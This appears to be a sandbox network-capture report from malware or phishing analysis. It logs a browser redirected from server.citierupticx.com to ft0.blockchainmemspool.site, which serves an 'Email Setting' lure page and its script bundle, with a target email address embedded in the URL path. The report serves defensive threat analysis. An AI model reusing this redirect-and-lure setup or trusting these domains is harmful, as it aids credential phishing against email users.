22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	185.212.70.145	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:38 UTC	706	OUT	GET /specId/product-mje%EF%BC%A0ml.avio.co.jp HTTP/1.1 Host: server.citierupticx.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:38 UTC	922	IN	HTTP/1.1 302 Found Connection: close x-powered-by: PHP/8.2.16 cache-control: no-cache, no-store, must-revalidate, max-age=0 location: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mjeml.avio.co.jp content-type: text/html; charset=utf-8 set-cookie: XSRF-TOKEN=eyJpdiI6Ik1QSlBXcHBYc2dsMHdJSnBsZnpTTlE9PSIsInZhbHVlIjoiaVgzeFFiOVV2U3VXUUJ1MUxZcHNpZ3ZOWUtCZVZZYUhvYW5vNmk0RzJqcTVjMVBQLzMrMDBIaHBLc050RENwVUEyMWFmT3FBdngzNGszdURqakFUNWZVV204VlZLTG5PS0tYZFhwa1dQNm04aGFDWStQclpKN3VjNU41aXBzVFYiLCJtYWMiOiI0MTVkZTExOGMxNTUwZTQ1YzM0MmZhODk2ZWNjNGI4OWQ5NzVkMWU2NmUzMzMyM2FjMmFhZTY1ODIyNGIyNDc5IiwidGFnIjoiIn0%3D; expires=Wed, 27 Nov 2024 05:06:38 GMT; Max-Age=7200; path=/; secure; samesite=lax
2024-11-27 03:06:38 UTC	811	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 6c 47 4e 33 52 57 64 58 68 33 65 55 68 4a 63 46 52 76 55 48 56 59 51 32 56 6b 61 45 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 62 32 4e 53 53 6b 63 77 54 7a 52 50 5a 33 70 30 61 69 39 76 52 6c 5a 4c 63 31 42 33 56 31 52 49 64 7a 46 42 63 6e 6f 33 52 6a 5a 77 56 30 70 51 4e 54 6c 78 4d 6c 6f 79 4f 55 70 6d 59 33 6b 34 63 7a 63 72 53 30 35 6b 59 6b 5a 73 52 6d 64 4a 61 30 39 6c 59 32 70 31 4f 58 45 77 61 7a 4e 50 4b 32 74 72 4d 6c 6c 46 4b 31 42 43 56 58 56 36 61 48 64 4b 4f 43 39 75 4e 48 4e 51 51 57 46 75 5a 54 46 52 54 54 4d 35 4e 44 68 79 51 53 74 33 62 6c 6c 71 4d 32 70 4d 63 30 78 52 52 56 5a 47 51 6b 49 7a 55 55 35 32 65 44 41 Data Ascii: set-cookie: laravel_session=eyJpdiI6IklGN3RWdXh3eUhJcFRvUHVYQ2VkaEE9PSIsInZhbHVlIjoib2NSSkcwTzRPZ3p0ai9vRlZLc1B3V1RIdzFBcno3RjZwV0pQNTlxMloyOUpmY3k4czcrS05kYkZsRmdJa09lY2p1OXEwazNPK2trMllFK1BCVXV6aHdKOC9uNHNQQWFuZTFRTTM5NDhyQSt3bllqM2pMc0xRRVZGQkIzUU52eDA
2024-11-27 03:06:38 UTC	1414	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 66 74 30 2e 62 6c 6f 63 6b 63 68 61 69 6e 6d 65 6d 73 70 6f 6f 6c 2e 73 69 74 65 2f 73 65 73 73 69 6f 6e 2f 53 57 59 67 65 57 39 31 49 47 52 6c 59 33 4a 35 63 48 51 67 64 47 68 70 63 79 42 7a 64 57 4e 72 49 47 31 35 49 47 52 70 59 32 73 3d 53 57 59 67 65 57 39 31 49 47 52 6c 59 33 4a 35 63 48 51 67 64 47 68 70 63 79 42 7a 64 57 4e 72 49 47 31 35 49 47 52 70 59 32 73 3d 53 57 59 67 65 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYge

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:40 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-27 03:06:40 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=104232 Date: Wed, 27 Nov 2024 03:06:40 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	91.208.197.216	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:40 UTC	932	OUT	GET /session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp HTTP/1.1 Host: ft0.blockchainmemspool.site Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:41 UTC	294	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 27 Nov 2024 03:06:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 5314 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 25 Nov 2024 14:35:50 GMT ETag: "14c2-627bda62631dc" Accept-Ranges: bytes Vary: Accept-Encoding
2024-11-27 03:06:41 UTC	1075	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6c 69 76 65 30 22 20 63 6f 6e 74 65 6e 74 3d 22 24 32 79 24 31 32 24 32 43 48 46 68 2e 44 67 58 62 6b 53 6d 69 4c 4b 48 79 79 37 6f 75 64 4b 41 4c 54 4f 6f 70 6f 68 51 5a 6d 31 37 72 50 43 56 4d 79 38 34 64 2f 6e 71 66 51 2e 2e 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 6d 61 69 6c 20 53 65 74 74 69 6e 67 3c 2f 74 69 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="live0" content="$2y$12$2CHFh.DgXbkSmiLKHyy7oudKALTOopohQZm17rPCVMy84d/nqfQ.."> <meta charset="utf-8"> <title>Email Setting</ti
2024-11-27 03:06:41 UTC	1369	IN	Data Raw: 75 74 65 3b 0a 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 20 20 74 6f 70 3a 20 30 3b 0a 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 30 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 66 69 6c 74 65 72 3a 20 62 6c 75 72 28 33 70 78 29 3b 0a 20 20 20 20 20 20 66 69 6c 74 65 72 3a 20 62 6c 75 72 28 34 70 78 29 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 66 6c 65 78 2d 66 6c 65 78 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 Data Ascii: ute; left: 0; top: 0; z-index: 0; width: 100%; height: 100%; -webkit-filter: blur(3px); filter: blur(4px); background-repeat: no-repeat; background-size: cover; } .flex-flex { display: f
2024-11-27 03:06:41 UTC	1369	IN	Data Raw: 65 72 20 7b 0a 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 66 6f 72 6d 62 67 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 34 34 38 70 78 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 20 20 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 72 67 62 61 28 36 30 2c 20 36 36 2c 20 38 37 2c 20 30 2e 31 32 29 20 30 70 78 20 37 70 78 20 31 34 Data Ascii: er { -ms-flex-pack: center; justify-content: center; } .formbg { margin: 0px auto; width: 100%; max-width: 448px; background: white; border-radius: 4px; box-shadow: rgba(60, 66, 87, 0.12) 0px 7px 14
2024-11-27 03:06:41 UTC	1369	IN	Data Raw: 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 66 69 65 6c 64 2d 63 68 65 63 6b 62 6f 78 20 69 6e 70 75 74 20 7b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 75 6e 73 65 74 3b 0a 20 20 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 75 6e 73 65 74 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 66 69 65 6c 64 2d 63 68 65 63 6b 62 6f 78 20 6c 61 62 65 6c 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 Data Ascii: cursor: pointer; } .field-checkbox input { width: 20px; height: 15px; margin-right: 5px; box-shadow: unset; min-height: unset; } .field-checkbox label { display: flex; align-items: center;
2024-11-27 03:06:41 UTC	132	IN	Data Raw: 6e 20 73 72 63 3d 22 2f 61 73 73 65 74 73 2f 69 6e 64 65 78 2d 44 4d 50 41 55 4d 43 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 72 6f 6f 74 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 0a 0a 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: n src="/assets/index-DMPAUMCk.js"></script></head> <body> <div id="root"></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49743	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:42 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-27 03:06:42 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=169988 Date: Wed, 27 Nov 2024 03:06:42 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-27 03:06:42 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	91.208.197.216	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:43 UTC	867	OUT	GET /assets/index-DMPAUMCk.js HTTP/1.1 Host: ft0.blockchainmemspool.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ft0.blockchainmemspool.site sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:43 UTC	356	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 27 Nov 2024 03:06:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 319114 Last-Modified: Mon, 25 Nov 2024 14:35:53 GMT Connection: close Vary: Accept-Encoding ETag: "67448b49-4de8a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2024-11-27 03:06:43 UTC	1013	IN	Data Raw: 76 61 72 20 72 67 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 6f 67 3d 28 65 2c 74 2c 6e 29 3d 3e 74 20 69 6e 20 65 3f 72 67 28 65 2c 74 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 6e 7d 29 3a 65 5b 74 5d 3d 6e 3b 76 61 72 20 46 72 3d 28 65 2c 74 2c 6e 29 3d 3e 6f 67 28 65 2c 74 79 70 65 6f 66 20 74 21 3d 22 73 79 6d 62 6f 6c 22 3f 74 2b 22 22 3a 74 2c 6e 29 3b 66 75 6e 63 74 69 6f 6e 20 69 67 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 63 6f 6e 73 74 20 72 3d 74 5b 6e 5d 3b 69 66 28 74 79 70 65 6f 66 20 72 21 3d 22 73 74 72 69 6e 67 22 26 26 21 41 72 72 61 Data Ascii: var rg=Object.defineProperty;var og=(e,t,n)=>t in e?rg(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var Fr=(e,t,n)=>og(e,typeof t!="symbol"?t+"":t,n);function ig(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!Arra
2024-11-27 03:06:43 UTC	1369	IN	Data Raw: 2c 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 3d 3d 22 75 73 65 2d 63 72 65 64 65 6e 74 69 61 6c 73 22 3f 69 2e 63 72 65 64 65 6e 74 69 61 6c 73 3d 22 69 6e 63 6c 75 64 65 22 3a 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 3d 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3f 69 2e 63 72 65 64 65 6e 74 69 61 6c 73 3d 22 6f 6d 69 74 22 3a 69 2e 63 72 65 64 65 6e 74 69 61 6c 73 3d 22 73 61 6d 65 2d 6f 72 69 67 69 6e 22 2c 69 7d 66 75 6e 63 74 69 6f 6e 20 72 28 6f 29 7b 69 66 28 6f 2e 65 70 29 72 65 74 75 72 6e 3b 6f 2e 65 70 3d 21 30 3b 63 6f 6e 73 74 20 69 3d 6e 28 6f 29 3b 66 65 74 63 68 28 6f 2e 68 72 65 66 2c 69 29 7d 7d 29 28 29 3b 66 75 6e 63 74 69 6f 6e 20 4a 64 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 26 26 4f 62 6a 65 63 74 2e Data Ascii: ,o.crossOrigin==="use-credentials"?i.credentials="include":o.crossOrigin==="anonymous"?i.credentials="omit":i.credentials="same-origin",i}function r(o){if(o.ep)return;o.ep=!0;const i=n(o);fetch(o.href,i)}})();function Jd(e){return e&&e.__esModule&&Object.
2024-11-27 03:06:43 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 65 21 3d 22 6f 62 6a 65 63 74 22 26 26 74 79 70 65 6f 66 20 65 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 65 21 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 73 65 74 53 74 61 74 65 28 2e 2e 2e 29 3a 20 74 61 6b 65 73 20 61 6e 20 6f 62 6a 65 63 74 20 6f 66 20 73 74 61 74 65 20 76 61 72 69 61 62 6c 65 73 20 74 6f 20 75 70 64 61 74 65 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 20 77 68 69 63 68 20 72 65 74 75 72 6e 73 20 61 6e 20 6f 62 6a 65 63 74 20 6f 66 20 73 74 61 74 65 20 76 61 72 69 61 62 6c 65 73 2e 22 29 3b 74 68 69 73 2e 75 70 64 61 74 65 72 2e 65 6e 71 75 65 75 65 53 65 74 53 74 61 74 65 28 74 68 69 73 2c 65 2c 74 2c 22 73 65 74 53 74 61 74 65 22 29 7d 3b 50 72 2e 70 72 Data Ascii: unction(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};Pr.pr
2024-11-27 03:06:43 UTC	1369	IN	Data Raw: 2f 5c 2f 2b 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 53 73 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 3d 3d 22 6f 62 6a 65 63 74 22 26 26 65 21 3d 3d 6e 75 6c 6c 26 26 65 2e 6b 65 79 21 3d 6e 75 6c 6c 3f 76 67 28 22 22 2b 65 2e 6b 65 79 29 3a 74 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 7d 66 75 6e 63 74 69 6f 6e 20 54 69 28 65 2c 74 2c 6e 2c 72 2c 6f 29 7b 76 61 72 20 69 3d 74 79 70 65 6f 66 20 65 3b 28 69 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 7c 7c 69 3d 3d 3d 22 62 6f 6f 6c 65 61 6e 22 29 26 26 28 65 3d 6e 75 6c 6c 29 3b 76 61 72 20 6c 3d 21 31 3b 69 66 28 65 3d 3d 3d 6e 75 6c 6c 29 6c 3d 21 30 3b 65 6c 73 65 20 73 77 69 74 63 68 28 69 29 7b 63 61 73 65 22 73 74 72 69 6e 67 22 3a 63 61 73 65 22 6e 75 6d 62 65 72 22 3a 6c 3d 21 30 3b 62 Data Ascii: /\/+/g;function Ss(e,t){return typeof e=="object"&&e!==null&&e.key!=null?vg(""+e.key):t.toString(36)}function Ti(e,t,n,r,o){var i=typeof e;(i==="undefined"\|\|i==="boolean")&&(e=null);var l=!1;if(e===null)l=!0;else switch(i){case"string":case"number":l=!0;b
2024-11-27 03:06:43 UTC	1369	IN	Data Raw: 61 74 75 73 3d 30 2c 65 2e 5f 72 65 73 75 6c 74 3d 74 29 7d 69 66 28 65 2e 5f 73 74 61 74 75 73 3d 3d 3d 31 29 72 65 74 75 72 6e 20 65 2e 5f 72 65 73 75 6c 74 2e 64 65 66 61 75 6c 74 3b 74 68 72 6f 77 20 65 2e 5f 72 65 73 75 6c 74 7d 76 61 72 20 4d 65 3d 7b 63 75 72 72 65 6e 74 3a 6e 75 6c 6c 7d 2c 5f 69 3d 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 6e 75 6c 6c 7d 2c 53 67 3d 7b 52 65 61 63 74 43 75 72 72 65 6e 74 44 69 73 70 61 74 63 68 65 72 3a 4d 65 2c 52 65 61 63 74 43 75 72 72 65 6e 74 42 61 74 63 68 43 6f 6e 66 69 67 3a 5f 69 2c 52 65 61 63 74 43 75 72 72 65 6e 74 4f 77 6e 65 72 3a 78 75 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 70 28 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 63 74 28 2e 2e 2e 29 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 69 6e Data Ascii: atus=0,e._result=t)}if(e._status===1)return e._result.default;throw e._result}var Me={current:null},_i={transition:null},Sg={ReactCurrentDispatcher:Me,ReactCurrentBatchConfig:_i,ReactCurrentOwner:xu};function ap(){throw Error("act(...) is not supported in
2024-11-27 03:06:43 UTC	1369	IN	Data Raw: 65 72 3a 6c 7d 7d 3b 7a 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 7b 24 24 74 79 70 65 6f 66 3a 66 67 2c 5f 63 75 72 72 65 6e 74 56 61 6c 75 65 3a 65 2c 5f 63 75 72 72 65 6e 74 56 61 6c 75 65 32 3a 65 2c 5f 74 68 72 65 61 64 43 6f 75 6e 74 3a 30 2c 50 72 6f 76 69 64 65 72 3a 6e 75 6c 6c 2c 43 6f 6e 73 75 6d 65 72 3a 6e 75 6c 6c 2c 5f 64 65 66 61 75 6c 74 56 61 6c 75 65 3a 6e 75 6c 6c 2c 5f 67 6c 6f 62 61 6c 4e 61 6d 65 3a 6e 75 6c 6c 7d 2c 65 2e 50 72 6f 76 69 64 65 72 3d 7b 24 24 74 79 70 65 6f 66 3a 63 67 2c 5f 63 6f 6e 74 65 78 74 3a 65 7d 2c 65 2e 43 6f 6e 73 75 6d 65 72 3d 65 7d 3b 7a 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 3d 73 70 3b 7a 2e 63 72 65 61 74 65 46 61 63 74 6f 72 79 3d Data Ascii: er:l}};z.createContext=function(e){return e={$$typeof:fg,_currentValue:e,_currentValue2:e,_threadCount:0,Provider:null,Consumer:null,_defaultValue:null,_globalName:null},e.Provider={$$typeof:cg,_context:e},e.Consumer=e};z.createElement=sp;z.createFactory=
2024-11-27 03:06:43 UTC	1369	IN	Data Raw: 65 52 65 64 75 63 65 72 28 65 2c 74 2c 6e 29 7d 3b 7a 2e 75 73 65 52 65 66 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4d 65 2e 63 75 72 72 65 6e 74 2e 75 73 65 52 65 66 28 65 29 7d 3b 7a 2e 75 73 65 53 74 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4d 65 2e 63 75 72 72 65 6e 74 2e 75 73 65 53 74 61 74 65 28 65 29 7d 3b 7a 2e 75 73 65 53 79 6e 63 45 78 74 65 72 6e 61 6c 53 74 6f 72 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 4d 65 2e 63 75 72 72 65 6e 74 2e 75 73 65 53 79 6e 63 45 78 74 65 72 6e 61 6c 53 74 6f 72 65 28 65 2c 74 2c 6e 29 7d 3b 7a 2e 75 73 65 54 72 61 6e 73 69 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4d 65 2e 63 75 72 72 65 6e 74 2e 75 73 65 Data Ascii: eReducer(e,t,n)};z.useRef=function(e){return Me.current.useRef(e)};z.useState=function(e){return Me.current.useState(e)};z.useSyncExternalStore=function(e,t,n){return Me.current.useSyncExternalStore(e,t,n)};z.useTransition=function(){return Me.current.use
